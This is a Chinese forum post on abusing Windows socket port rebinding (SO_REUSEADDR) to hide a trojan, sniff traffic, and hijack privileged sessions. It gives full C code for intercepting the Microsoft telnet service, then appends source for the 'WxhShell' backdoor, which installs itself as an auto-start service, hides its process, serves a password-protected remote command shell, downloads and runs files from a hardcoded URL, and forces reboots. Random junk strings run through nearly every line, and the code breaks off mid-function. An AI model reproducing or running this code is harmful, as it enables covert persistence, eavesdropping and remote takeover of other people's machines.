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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ixxs(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *I]]Ogpq=  
ftYJ 3/WH  
  saddr.sin_family = AF_INET; O*:87:I d  
Wu][A\3D1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZE=sw}=  
+_]Ui| l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y7t#)?  
A 6S0dX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ='m$ O  
/z-rBfdy^  
  这意味着什么?意味着可以进行如下的攻击: k)b{ UFRW  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VIp|U{  
9mi@PW}1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ] U>MYdGWb  
q}@L"a`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hZ45i?%  
|A3"Jc.2o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  egq,)6>  
w 0BphK[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eft=k}  
|*{*tW C1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O\=Z;}<N  
F1yn@a "=J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OR@ 67Y  
9kD#'BxC  
  #include agUdI_'~@9  
  #include ^)dsi  
  #include CPJ<A,V  
  #include    ~wa4kS<>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5eTA]  
  int main() 7:UeE~ uB:  
  { d7V/#34  
  WORD wVersionRequested; }3*<sxw7<  
  DWORD ret; -N' (2'  
  WSADATA wsaData; jW:7PS  
  BOOL val; ~}_^$l8#-Q  
  SOCKADDR_IN saddr; "^4*,41U  
  SOCKADDR_IN scaddr; *Dp&;,b  
  int err; %p}vX9U')  
  SOCKET s; -gs I:-Xo  
  SOCKET sc; o-8{C0>:  
  int caddsize; { I{ 0rV  
  HANDLE mt; wiN0|h>,  
  DWORD tid;   |ty&}'6C  
  wVersionRequested = MAKEWORD( 2, 2 ); )U\i7[k>  
  err = WSAStartup( wVersionRequested, &wsaData ); t utk*|S  
  if ( err != 0 ) { e1Db +QBV  
  printf("error!WSAStartup failed!\n"); e4YfJd  
  return -1; @D9O<x  
  } 1n`[D&?q  
  saddr.sin_family = AF_INET; ? $B4'wc5  
   Km5_P##  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Gld~GyB\k  
@)b'3~ D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _A,_RM$Y  
  saddr.sin_port = htons(23); ( >}1t!1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'Dfs&sm  
  { p\[!=ZXFr\  
  printf("error!socket failed!\n"); FF8jW1  
  return -1; \m7\}Nbz0/  
  } 3/RwCtc  
  val = TRUE; MD[hqshoh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F8w7N$/V",  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q`bXsH  
  { s,_+5ukv  
  printf("error!setsockopt failed!\n"); K28L(4)  
  return -1; mP^B2"|q  
  } /gu VA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;2kQ)Bq"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kQ=bd{a6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6/;YS[jX  
<Y)14w%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oywPPVxj  
  { v/ry" W  
  ret=GetLastError(); ranem0KQ)]  
  printf("error!bind failed!\n"); phDIUhL$z  
  return -1; 1sXCu|\q  
  } "==c  
  listen(s,2); Xq1#rK(  
  while(1) |)7K(R)(=  
  { !>Nlp,r&~  
  caddsize = sizeof(scaddr); j}Tv/O,f  
  //接受连接请求 t]&.'n,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j)@W1I]2#  
  if(sc!=INVALID_SOCKET) Ny"9!3V   
  { AON |b\?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~?NCmU=3  
  if(mt==NULL) !/}4_s`,  
  { /o4_rzR?  
  printf("Thread Creat Failed!\n"); j"jssbu}  
  break; 0Px Hf*  
  } JlSqTfA  
  } ]{tWfv|Xg8  
  CloseHandle(mt); :Ou~?q%X  
  } ^?e[$}  
  closesocket(s); >.SO2w  
  WSACleanup(); <);j5)/  
  return 0; Uv59 XF$  
  }   cEHpa%_5  
  DWORD WINAPI ClientThread(LPVOID lpParam) IEm?'o:  
  { *$7^.eHfdd  
  SOCKET ss = (SOCKET)lpParam; %ZRv+}z  
  SOCKET sc; Xf;!w:u  
  unsigned char buf[4096]; G:e=9qTf  
  SOCKADDR_IN saddr; yl>^QMmo  
  long num; 3JD62wtx  
  DWORD val; ;*5z&1O  
  DWORD ret; 1 k!gR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "pt[Nm76)8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6`9QGi,)  
  saddr.sin_family = AF_INET; pRfKlTU\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); UusAsezm:  
  saddr.sin_port = htons(23); Z( :\Vj"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (B\Kb4m  
  { JSg=9p$  
  printf("error!socket failed!\n"); nIH(2j  
  return -1; yi^X?E{WnX  
  } 6%EpF;T`  
  val = 100; 4"PA7 e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OC5oxL2HTe  
  { A#$l;M.3R  
  ret = GetLastError();  '0f!o&?g  
  return -1; di_N}x*  
  } -AnJLFY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _Nh])p-  
  { oxFd@WV5  
  ret = GetLastError(); ~/4j&IG  
  return -1; ~JZLWTEe  
  } J*g<]P&p0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O#tmB?n*  
  { ~H''RzN  
  printf("error!socket connect failed!\n"); y2%[/L: u~  
  closesocket(sc); -)J*(7F(6^  
  closesocket(ss); tDAX pi(  
  return -1; .dzw5R&  
  } 5@.8O VPz  
  while(1) nILUo2e~  
  { 6+sz4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R]od/u/$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v2|zIZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1q'_J?Xmd  
  num = recv(ss,buf,4096,0); s,-<P1}/  
  if(num>0) VIWH~UR)&!  
  send(sc,buf,num,0); ~DLxIe  
  else if(num==0) r(]Gd`]  
  break; U;&s=M0[  
  num = recv(sc,buf,4096,0); 34k(:]56|  
  if(num>0) :qXREF@h  
  send(ss,buf,num,0); f[zKA{R  
  else if(num==0) ,9|7{j|u  
  break; v 'L"sgW6I  
  } !h&h;m/c  
  closesocket(ss); "7 alpjwb  
  closesocket(sc); 2aivc,m{r  
  return 0 ; &}gH!5L m  
  } ]mBlXE:Z  
2P57C;N8|  
+L?;g pVE&  
==========================================================  K0*er  
x=JZ"|TE  
下边附上一个代码,,WXhSHELL aS3-A 4  
1b=\l/2  
========================================================== <c`,fd8  
_z^&zuO  
#include "stdafx.h" YbVZK4  
 mznE Cy  
#include <stdio.h> ;XY#Jl>tg  
#include <string.h> I<lkociUCG  
#include <windows.h> #r&yH^-  
#include <winsock2.h> \XY2s&"  
#include <winsvc.h> MMRO@MdfV  
#include <urlmon.h> i+-Y"vRi  
Ejf>QIB  
#pragma comment (lib, "Ws2_32.lib") I~ SFY>s  
#pragma comment (lib, "urlmon.lib") +DT tKj  
AxJf\B8  
#define MAX_USER   100 // 最大客户端连接数 c1%ki%J#  
#define BUF_SOCK   200 // sock buffer <Dnv=)Rq  
#define KEY_BUFF   255 // 输入 buffer blV'-Al  
d#,   
#define REBOOT     0   // 重启 tG,xG&  
#define SHUTDOWN   1   // 关机 YcaLc_pUx  
Ky7-6$  
#define DEF_PORT   5000 // 监听端口 ^oHK.x#{  
]N'4q}<5o  
#define REG_LEN     16   // 注册表键长度 "^pF2JI  
#define SVC_LEN     80   // NT服务名长度 5tb i};  
A- hWg;  
// 从dll定义API )Z?\9'6e4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); imS&N.*3m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MM+nE_9lV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o AS 'Z|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?IG+U TI  
4pu>f.  
// wxhshell配置信息 /i~n**HeF?  
struct WSCFG { +fF4]WF P  
  int ws_port;         // 监听端口 ``?Z97rH  
  char ws_passstr[REG_LEN]; // 口令 cMt , 80  
  int ws_autoins;       // 安装标记, 1=yes 0=no d~d~Cd`V  
  char ws_regname[REG_LEN]; // 注册表键名 ]s_BOt  
  char ws_svcname[REG_LEN]; // 服务名 Cvs4dd%)i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Xo4K!U>TzZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fl9J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;#D:S6 L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %}~Ncn_r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `_e1LEH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $uNYus^vS  
W$Z""  
}; ?6^KY+ 5`C  
zQ eXN7$  
// default Wxhshell configuration @h\u}Ee  
struct WSCFG wscfg={DEF_PORT, zI>,A|yy  
    "xuhuanlingzhe", ;@u+b0 j  
    1, 8>^O]5Wo`X  
    "Wxhshell", g60r m1b  
    "Wxhshell", 2ap0/l[  
            "WxhShell Service", 7+p=4i^@Zs  
    "Wrsky Windows CmdShell Service", h "r)z6Q/  
    "Please Input Your Password: ", 9s6d+HhM  
  1, c/}bx52>u  
  "http://www.wrsky.com/wxhshell.exe", a_(vpD^  
  "Wxhshell.exe" ,e>N9\*  
    }; (OK;*ZH+T@  
G0h7MO%x  
// 消息定义模块 i%_nH"h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n47v5.Wn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b{d@:"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t?kbN\,  
char *msg_ws_ext="\n\rExit."; ;,]Wtmu)7  
char *msg_ws_end="\n\rQuit."; ~); 7D'[  
char *msg_ws_boot="\n\rReboot..."; ;i&'va$  
char *msg_ws_poff="\n\rShutdown..."; Zz04Pz1  
char *msg_ws_down="\n\rSave to "; hI 1 }^;  
|4FvP R [  
char *msg_ws_err="\n\rErr!"; hbdM}"&]  
char *msg_ws_ok="\n\rOK!"; 0~XZ  
bjJ212J  
char ExeFile[MAX_PATH]; <yrl_vl{  
int nUser = 0; wg,w;Gle  
HANDLE handles[MAX_USER]; <[GkhPfZ  
int OsIsNt; wN!5[N"  
!n/"39KT  
SERVICE_STATUS       serviceStatus; Y;XEC;PXD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S(*SUH  
)b AcU  
// 函数声明 Xn3Ph!\Z5e  
int Install(void); Ol]+l]  
int Uninstall(void); ] Vbv64M3  
int DownloadFile(char *sURL, SOCKET wsh); F .JvMy3  
int Boot(int flag); "h}miVArS  
void HideProc(void); c`&<"Us  
int GetOsVer(void); +Te;LJP  
int Wxhshell(SOCKET wsl); s k_Q\0a  
void TalkWithClient(void *cs); t/aT  
int CmdShell(SOCKET sock); Bq]eNq  
int StartFromService(void); +K%4jIm  
int StartWxhshell(LPSTR lpCmdLine); e[7n`ka '  
%<8lLRl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8FThu[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v5GV"qY  
q>*+.~  
// 数据结构和表定义 8?O6IDeW  
SERVICE_TABLE_ENTRY DispatchTable[] = @ zE>n  
{ x;Jy-hMNl  
{wscfg.ws_svcname, NTServiceMain}, xV4 #_1(  
{NULL, NULL} _ZfJfd~  
}; rBZ 0(XSZQ  
i7w>Nvj]  
// 自我安装 sc^TElic  
int Install(void) X)|b_3Z  
{  u m[nz  
  char svExeFile[MAX_PATH]; +mN]VO*y  
  HKEY key; -P<e-V%<  
  strcpy(svExeFile,ExeFile); PSQ5/l?\>  
k/yoRv%  
// 如果是win9x系统,修改注册表设为自启动 Hinz6k6!  
if(!OsIsNt) { viT/$7`AI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8I'c83w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <O cD[5  
  RegCloseKey(key); jR#g>MDKB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y#Ao6Od6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L= fz:H  
  RegCloseKey(key); Y\ len  
  return 0; bCF"4KXK  
    } n%]1p36  
  }  # xS8  
} )q\|f_  
else { ~ b ;%J:  
v'*#P7%Kf  
// 如果是NT以上系统,安装为系统服务 g,!6, v@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^[SQw)*  
if (schSCManager!=0) ]N^a/&} *  
{ G:QaWqUb  
  SC_HANDLE schService = CreateService uFIr.U$V  
  ( ^E8XPK]-~  
  schSCManager, x-km)2x=W  
  wscfg.ws_svcname, ;aip1Df  
  wscfg.ws_svcdisp, Ax4nx!W,   
  SERVICE_ALL_ACCESS, '@h5j6:2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Bg*Oj)NM  
  SERVICE_AUTO_START, }^;Tt-*k  
  SERVICE_ERROR_NORMAL, bBBW7',[a  
  svExeFile, #]'#\d#i  
  NULL, `)FSJV1  
  NULL, "]81+ D  
  NULL, vJT %ET  
  NULL, t3.;W/0_  
  NULL Lmx95[#@a  
  ); _ a|zvH  
  if (schService!=0) +v3@WdLcD  
  { :e 5)Q=lX  
  CloseServiceHandle(schService); N*N@wJy:5  
  CloseServiceHandle(schSCManager); @JS O=8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cWSiJr):r  
  strcat(svExeFile,wscfg.ws_svcname); ]VY}VALZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Tp&03  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C#`VVtei  
  RegCloseKey(key); oX@0+*"  
  return 0; #y"E hwF  
    } 6u`E{$  
  } , [xDNl[Y|  
  CloseServiceHandle(schSCManager); L<encPJt  
} cTpAU9|(  
} 7yLO<o?9w  
j_VTa/  
return 1; xJ)hGPrAl  
} mr]IxTv  
({g7{tUy^H  
// 自我卸载 ;#G)([  
int Uninstall(void) A>8uLO G}  
{ 445}Yw5;9  
  HKEY key; =#||&1U$  
q$Z.5EN  
if(!OsIsNt) { 2XubM+6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4i>sOP3 B  
  RegDeleteValue(key,wscfg.ws_regname); K'EGm #I  
  RegCloseKey(key); 3zU!5t g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A\9Q gM  
  RegDeleteValue(key,wscfg.ws_regname); wiXdb[[#  
  RegCloseKey(key); > Q+Bw"W<  
  return 0; s)ymm7?  
  } C~Fdo0D  
} h=uwOi6}  
} D/C)Rrq"a  
else { &R:$h*Wt|  
y<bA Y_-[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #I jG[a-  
if (schSCManager!=0) KiU/N$ E  
{ :!a'N3o>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZtPq */'  
  if (schService!=0) yES+0D5<  
  { E^a He  
  if(DeleteService(schService)!=0) { C=& 7V  
  CloseServiceHandle(schService); vs-%J 6}G  
  CloseServiceHandle(schSCManager); =l?F_  
  return 0; N6Mo|  
  } ]5X=u(}  
  CloseServiceHandle(schService); #;59THdtPk  
  } T >X nVK  
  CloseServiceHandle(schSCManager); Zi5d"V[}T  
} IKx]?0sS  
} / E~)xgPM<  
=c 3;@CO  
return 1; Ww&~ZZZ {  
} .'QE o  
!P X`sIkT  
// 从指定url下载文件 bM[!E8dF  
int DownloadFile(char *sURL, SOCKET wsh) <u2rb6  
{  'k[O?}  
  HRESULT hr; 2JNO@  
char seps[]= "/"; &eYnO~$!  
char *token; O(U 'G|  
char *file; Gzxq] Mg  
char myURL[MAX_PATH]; jU\vg;nr  
char myFILE[MAX_PATH]; / 4P+  
Gq_rZo(@  
strcpy(myURL,sURL); $xRZU9+  
  token=strtok(myURL,seps); 56k89o  
  while(token!=NULL) VPG+]> *  
  { 0J-]  
    file=token; l<fZt#T  
  token=strtok(NULL,seps); $e66jV  
  } n#,<-Rb-  
=SJwCT0;  
GetCurrentDirectory(MAX_PATH,myFILE); QJ2V&t"3  
strcat(myFILE, "\\"); j{00iA}  
strcat(myFILE, file); ck-ab0n  
  send(wsh,myFILE,strlen(myFILE),0); @Sb 86Ee  
send(wsh,"...",3,0); *k)v#;B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i7g+8 zd8d  
  if(hr==S_OK) %Q9 iR5?  
return 0; oxkA+}^j8M  
else EugQr<sM#  
return 1; 6%  +s`  
`NIc*B4q.  
} ^fVLM>p<;  
N|cWTbi  
// 系统电源模块 >_3+s~  
int Boot(int flag) K:Mm?28s  
{ P|mV((/m4  
  HANDLE hToken; 2 MFGKzO  
  TOKEN_PRIVILEGES tkp; "vVL52HwB  
:2#8\7IU^'  
  if(OsIsNt) { MRzrZZ%LQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q"UWh~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^6*LuXPv  
    tkp.PrivilegeCount = 1; HZ$q`e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gG;d+s1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `uRf*-   
if(flag==REBOOT) { V\k?$}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L`E^BuP/  
  return 0; d5?"GFy  
} ]^9B%t s9  
else { fNz*E|]8&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {oIv%U9  
  return 0; )U4h?J  
} Q}# 5mf&cD  
  } -oGJPl{r  
  else { 2w>l nJ-  
if(flag==REBOOT) { *Jd,8B/hC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <YU+W"jQT  
  return 0; dxm_AUM  
} 1QHCX*_  
else { }2qmL$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7bBOV(/s  
  return 0; s':fv[%  
} }q0lbwYlb  
} f@@2@# 5B  
Efo,5  
return 1; qucw%hJr  
} z:PH _N~  
PVBf'  
// win9x进程隐藏模块 y?BzZ16\bL  
void HideProc(void) "X/cG9Lw  
{ zPwU'TbF  
['F,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G/tah@N[7  
  if ( hKernel != NULL ) rSTc4m1R  
  { 3wRk -sl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7ky$9+~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cI#2MjL  
    FreeLibrary(hKernel); |E+tQQr%'  
  } v]*(Wd~|  
FS.z lk\D=  
return; "zJGYBen  
} >AcpJ|V  
F12tOSfu*  
// 获取操作系统版本 xW84g08_,  
int GetOsVer(void) ]s lYr8m  
{ :Uu Py|>  
  OSVERSIONINFO winfo; # L\t)W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rV LUT  
  GetVersionEx(&winfo); .f'iod-   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S30@|@fTz  
  return 1; /$OX'L&b  
  else Kgi| 7w  
  return 0; @uc N|r}=R  
} bI^zwK,@4  
F+e J9  
// 客户端句柄模块 o!Vs{RRu}  
int Wxhshell(SOCKET wsl) yK"OZ2Mv  
{ >-0b@ +j  
  SOCKET wsh; ypxqW8Xe  
  struct sockaddr_in client; ,z}wR::%  
  DWORD myID; o6e6Jw  
Q>gU(  
  while(nUser<MAX_USER) B"O5P>  
{ B!jINOg  
  int nSize=sizeof(client); [ e4)"A"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !x9j~D'C`  
  if(wsh==INVALID_SOCKET) return 1; 9g" 1WZ!  
&dSw[C#f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @Yua%n6]#D  
if(handles[nUser]==0) HLMEB0zh^  
  closesocket(wsh); c`UJI$Q/  
else M4a- +T"  
  nUser++; ,j~ R ^j  
  } b@ J&jE~d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rQNT  
02]9 OnWw  
  return 0; )=\W sQ  
} UXB[3SP  
@Kri)U i  
// 关闭 socket mfu >j,7l  
void CloseIt(SOCKET wsh) g;(r@>U.r  
{ w;$@</  
closesocket(wsh); S3"js4a  
nUser--; ZyqTtA!A  
ExitThread(0); JL1%XQ i  
}  z"BV+  
rVkoj;[  
// 客户端请求句柄 J.x>*3< l  
void TalkWithClient(void *cs) D5X;hd  
{ 5*1wQlL  
1r}fnT<  
  SOCKET wsh=(SOCKET)cs; =+gp~RR,  
  char pwd[SVC_LEN]; NF=FbvNe  
  char cmd[KEY_BUFF]; 6Rn_@_Nn)f  
char chr[1]; $;*YdZ`q  
int i,j; l79jd%/m  
q>&F%;q1]  
  while (nUser < MAX_USER) { '3uj6Wq2  
~B%EvG7:n  
if(wscfg.ws_passstr) { N}\Da: _  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !l'Az3'J|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |dNtM^  
  //ZeroMemory(pwd,KEY_BUFF); ZNPzQ:I@  
      i=0; x_Ki5~w5  
  while(i<SVC_LEN) { :=04_5 z  
?,r bD 1  
  // 设置超时 lh* m(  
  fd_set FdRead; /qF7^9LtaY  
  struct timeval TimeOut; . iq.H  
  FD_ZERO(&FdRead); {Ny\9r  
  FD_SET(wsh,&FdRead); &)Z8Qu  
  TimeOut.tv_sec=8; I=hgfo  
  TimeOut.tv_usec=0; @1P1n8mH]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s<qSelj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); : o$ R@l  
G*BM'^0+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e#k9}n^+  
  pwd=chr[0]; <9bQAyL9  
  if(chr[0]==0xd || chr[0]==0xa) { c>K/f7  
  pwd=0; Xj$J}A@  
  break; |aN0|O2  
  } > c7/E  
  i++; fRT:@lV  
    } bi!4I<E>k  
<Q=ES,M  
  // 如果是非法用户,关闭 socket ^e8R 43w:!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5h[u2&;G  
} P<kTjG  
ZP?k|sEH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c}mJ6Pt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :LVM'c62c>  
;JFE7\-mC  
while(1) { NpD}7t<EF  
GT%V,OJ  
  ZeroMemory(cmd,KEY_BUFF); %e7{ke}r  
oKt<s+r  
      // 自动支持客户端 telnet标准   X5wS6v)#(  
  j=0; ?9vBn  
  while(j<KEY_BUFF) { uGl0z79  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *wp'`3y}  
  cmd[j]=chr[0]; !U>"H8}dv  
  if(chr[0]==0xa || chr[0]==0xd) { aJMh>  
  cmd[j]=0; W _b $E =  
  break; (uOW5,e7  
  } O)Nt"k7 b  
  j++; fokT)nf~^8  
    } CpS' 2@6  
Beqhe\{  
  // 下载文件 /_,~dt  
  if(strstr(cmd,"http://")) { j %TYyL-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /BT;Q)( &  
  if(DownloadFile(cmd,wsh)) Hh;w\)/%j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }U'5j/EFZ  
  else a\}|ikiE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e%bER ds  
  } X 3L9j(  
  else { w#F+rh3  
|@nvg>mu  
    switch(cmd[0]) { e+y< a~N  
  jT: :o  
  // 帮助 (6+6]`c$  
  case '?': { p w>A Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S$+ v?Y`)  
    break; Ynz^M{9)K  
  } 10#!{].#x  
  // 安装 7gVWu"  
  case 'i': { )SA$hwR  
    if(Install()) c;U\nC<Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *~!xeL  
    else $:u,6|QsS=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Fx<QRz  
    break; 18[f_0@ #  
    } f=K1ZD  
  // 卸载 X8Sk  
  case 'r': { Od&M^;BQ  
    if(Uninstall()) WKah$l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nNhN:?  
    else Z$zUy|s[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b V9Z[[\  
    break; Y sr{1!K  
    } ys#M* {?  
  // 显示 wxhshell 所在路径 p~8~EQFj  
  case 'p': { X3W)c&Pr  
    char svExeFile[MAX_PATH]; @1]<LQ\\  
    strcpy(svExeFile,"\n\r"); +ypG<VBx%  
      strcat(svExeFile,ExeFile); \=N tbBL$[  
        send(wsh,svExeFile,strlen(svExeFile),0); ~7 `x9MUc  
    break; {6%uNT>|  
    } >t D-kzN  
  // 重启 ik$wS#1+L  
  case 'b': { $,aU"'D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J~_p2TZJ\3  
    if(Boot(REBOOT)) J.<eX=<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l*v([@A\  
    else { =rBFMTllM  
    closesocket(wsh); 7Ck;LF}>0  
    ExitThread(0); t*qA.xc6  
    } h.?[1hT4R  
    break; zl: u@!'  
    } \Flq8S/t^  
  // 关机 Y43#];  
  case 'd': { LV]\{'  
